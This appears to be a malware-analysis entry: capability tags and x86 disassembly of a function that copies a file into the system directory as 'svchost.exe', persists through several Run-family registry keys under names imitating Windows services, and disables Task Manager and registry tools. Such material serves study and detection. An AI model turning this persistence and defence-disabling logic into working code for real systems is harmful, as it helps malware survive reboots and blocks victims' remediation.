Function at 0x402ac0
Capabilities:
Copy file
Create directory
Disable system features via registry on windows
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x402d44
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402ae4
sub ecx, edx
je 0x402d44
push 0x103
lea eax, [ebp - 0x108]
mov dword [ebp - 0x110], 1
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x402b1d
push str.Error:_Failed_to_get_system_directory.
jmp 0x402d49
lea ecx, [ebp - 0x108]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x402b24
mov eax, dword [0x40543c]
mov dword [ecx], eax
mov eax, dword [0x405440]
mov dword [ecx + 4], eax
mov al, byte [0x405444]
mov byte [ecx + 8], al
lea eax, [ebp - 0x108]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x402b6f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x402b6f
push str.Error:_Failed_to_create_directory.
jmp 0x402d49
lea ecx, [ebp - 0x108]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x402b76
mov eax, dword [str._svchost.exe]
mov dword [ecx], eax
mov eax, dword [0x405470]
mov dword [ecx + 4], eax
mov eax, dword [0x405474]
mov dword [ecx + 8], eax
mov al, byte [0x405478]
mov byte [ecx + 0xc], al
lea eax, [ebp - 0x108]
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x402bbd
push str.Error:_Failed_to_copy_file.
jmp 0x402d49
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x10c]
push edi
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 0x108]
push 0x103
push eax
push 1
push 0
push str.Generic_Host_Process_for_Win32_Services
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
call ebx
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Windows_Updater
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx
push 0x80000002
call ebx
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Windows_Server
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
push 0x80000002
call ebx
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Generic
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call ebx
push 4
lea eax, [ebp - 0x110]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call ebx
push 4
lea eax, [ebp - 0x110]
push eax
push 4
push 0
push str.DisableRegistrytools
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040370a
mov esp, ebp
pop ebp
ret
push str.Error:_Invalid_input_string.
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.00401010
add esp, 8
mov ecx, eax
push 0x4012d0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0040370a
mov esp, ebp
pop ebp
ret